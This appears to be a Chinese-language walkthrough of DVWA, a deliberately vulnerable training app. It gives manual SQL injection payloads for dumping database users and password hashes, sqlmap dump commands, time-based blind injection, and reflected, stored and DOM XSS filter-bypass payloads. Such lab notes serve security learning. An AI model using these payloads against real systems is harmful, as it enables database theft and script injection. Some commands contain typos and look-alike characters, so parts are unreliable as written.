DVWA之SQL注入和SQL盲注
sql注入
1.low级别
(1)判断是否存在注入点,是字符型还是数字形
输入 1,查询成功;
输入 1 and 1=1,发现查询仍然成功;//非数字形
输入 1/,发现查询仍然成功;
输入 1’,查询失败。出现如下图:
(2)猜解 SQL 查询语句中的字段数
输入1' order by 10 # 发现报错
尝试1' order by 2 # 成功
(3)确定显示的字段顺序
输入 1' union select 1,2 # 成功
(4)获取当前用户,数据库,版本号
输入1' union select 1,concat(user(),database(),version())#
(5)获取数据库中的表
输入 1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #
(6)获取表中的字段名
输入 1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users' #
(7)爆破关键字段
1' or 1=2 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
(8)通过www.cmd5.com来查询密码
2.medium级别
(1)打开burp拦截,把拦截到的内容发送给重发器
(2)爆破数据库名称
修改id=1 改成 1 and 1=2 union select 1,concat(database(),floor(rand(0)*2))x from information_schema.tables group by x # 然后发送,去旁边响应查看,得到数据库名
(3)爆破表的数量
输入 1 and 1=2 union select 1,concat((select count(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2))x from information_schema.tables group by x#
然后重复上边的步骤得到表的数量为2
(4)爆破表的名字
输入 1 and 1=2 union select 1,concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2))x from information_schema.tables group by x# 再重复以上操作得到表的名字
(5)爆破users的字段名
输入 1 and 1=2 union select 1,concat((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 ),floor(rand(0)*2))x from information_schema.tables group by x# 再重复以上操作
(6)爆破字段的值
输入 1 and 1=2 union select 1,concat((select group_concat(user_id,user,password) from users),floor(rand(0)*2))x from information_schema.tables group by x# 再重复操作得到值
再去www.cmd5.com转换值得到明文密码
3.high级别
(1)点击改变你的id
(2)直接输入代码 1' or 1=2 union select group_concat(user_id,first_name,last_name),group_concat(password) from users#
得到密码账户信息
利用sqlmap进入注入(记得拍个快照,每做完一级别就恢复快照)
1.low级别
(1)打开burp拦截 输入“1” 然后把拦截内容复制到文件,起名“l.txt”
(2)打开sqlmap
爆破数据库名称 输入命令 python sqlmap.py -r d:\l.txt --dbs --random-agent
(3)指定数据库查看表
python sqlmap.py -r d:\l.txt -D dvwa --tables --random-agent
(3)接着爆破users表里边的账户密码
python sqlmap.py -r d:\l,txt -D dvwa -T users --dump --random-agent
这个1是选择提供的1,2,3 三个字典 默认选择1就行
2.medium级别
(1)提交1 去burp拦截内容 然后复制到文件取名 "m.txt"
(2)去sqlmap
爆破数据库名 输入 python sqlmap.py -r d:\m.txt --dbs
(3)爆破dvwa的表名
输入 python sqlmap.py -r d:\m.txt -D dvwa --tables
(4)爆破users里边的账户密码
输入 python sqlmap.py -r d:\m.txt -D dvwa -T users --dump
3.high级别
(1)点击它,弹出一个弹窗,输入“1”拦截下来,复制到文件 取名h.txt
(2)点击它 复制后边的路径 写一个二阶注入命令 等下要用它
--second-url="http://172.16.12.131:81/vulnerabilities/sqli/"
(3)去sqlmap 爆破数据库名称
输入python sqlmap.py -r d:\h.txt --dbs --second-url="http://172.16.12.131:81/vulnerabilities/sqli/" --random-agent
(4)爆破DVWA里边的表
输入 python sqlmap.py -r d:\h.txt -D dvwa --tables --second-url="http://172.16.12.131:81/vulnerabilities/sqli/" --random-agent
(5)爆破users表里边的账户和密码
输入 python sqlmap.py -r d:\h.txt -D dvwa -T users --dump --second-url="http://172.16.12.131:81/vulnerabilities/sqli/" --random-agent
SQL盲注(手注按照往常一个一个猜就行 过程太多 所以直接上sqlmap进行盲注)
使用sqlmap注入
1.low级别
(1)输入1 去burp抓包 复制到文件取名l.txt
(2)去sqlmap
爆破数据库名称 输入 python sqlmap.txt -r d:\l.txt --dbs --random-agent
(3)爆破表名 输入 python sqlmap.py -r d:\l.txt -D dvwa --tables --random-agent
(4)爆破users里边的账户密码
输入 python sqlmap.py -r d:\l.txt -D dvwa -T users --dump --random-agent
2.medium级别
(1)提交“1” 去burp 把拦截内容复制到文件 取名m.txt
(2)打开sqlmap
爆破数据库 输入 python sqlmap.py -r d:\m.txt --dbs --random-agent
(3)爆破数据库表里边的名
输入 python sqlmap.py -r d:\m.txt -D dvwa --tables --random-agent
(4)爆破表里边的账户密码
输入 python sqlmap.py -r d:\m.txt -D dvwa -T users --dump --random-agent
3.higt级别
sqlmap注入不了sql盲注高级得手动注入(这个手注和sql注入一样 输入“1”,去burp把拦截到的内容发送到重发器,然后修改id=1 那里 就一个一个的猜它的字符段,数据库名称等等)
他限制了时间 所以我们可以把时间多写一点 比如写成10 但是就非常需要时间了或者使用low级别的手注
点击改变你的ID
输入 1 and sleep(10)# ()里边的数字写大点 正确他就反馈存在此用户id,
后边就一个一个的把数据库名称等等试出来
DVWA之xss反射性 存储型 DOM型
注意:alert('123')和alert(/456/)的区别
'' 弹出的内容不显示单引号
"//" 弹出的内容显示这个"//"符号,也显示//里边的内容
反射型
1.low级别
(1)输入“1” 查看上边执行的内容
(2)因为它什么都没有过滤,所以直接在name后边添加script脚本
2.medium中级
(1)输入1 查看它执行的内容
(2)发现直接写如script脚本被过滤掉了
所以我们试试用双写来绕过它<sc<script>ript>alert('2')</sc<script>ript>
(3)也可以尝试用大小写来绕过
3.high高级
(1)高级过滤掉了script脚本,但是我们可以尝试通过插入图片来执行脚本
存储型
1.low级别
(1)因为他没有过滤 所以可以直接在留言处写入脚本(不过它的用户名有长度限制,所以只能在留言处添加)
2.medium中级(message留言处被过滤了 所以我们尝试在name添加代码)
由于对 message(就是留言的意思) 参数使用了 htmlspecialchars 函数进行编码,因此无法再通过 message 参数注入 XSS 代码,但是对于 name 参数,只是简单过滤了
(1)使用双写绕过
他在留言处过滤掉lscript脚本 所以我们使用burp抓包来修改它的内容
(2)利用大小写绕过
3.high高级(也是在名字修改)
(1)和反射型高级一样,利用img插入图片来执行脚本
再放包
DOM型
1.low级别
(1)选择一个语言 查看它执行的内容
(2)发现后边可以直接写脚本 然后我们添加一个脚本点击运行
2.medium中级
(1)限制了script标签
所以我们利用url截断机制加“#”号 url 中有一个字符为#,该字符后的数据不会发送到服务器端,从而绕过服务端过滤,直接在本地出现
所以我们之间编辑执行的内容
(2)利用svg标签执行代码 (svg和img类似)
3.high高级
必须给服务端上传4个选择中的一个 u送一我们在english后边添加#
(1)限制script脚本 也是来利用img标签来执行
选择语言 修改执行的内容
(2)把这句话复制在另一个窗口打开
http://172.16.12.131:81/vulnerabilities/xss_d/?default=English#</option></select><img src=1 οnerrοr=alert('456')>
方法二
利用svg标签 然后复制链接去另一个窗口打开
http://172.16.12.131:81/vulnerabilities/xss_d/?default=English#</option></select><svg οnlοad=alert('789')>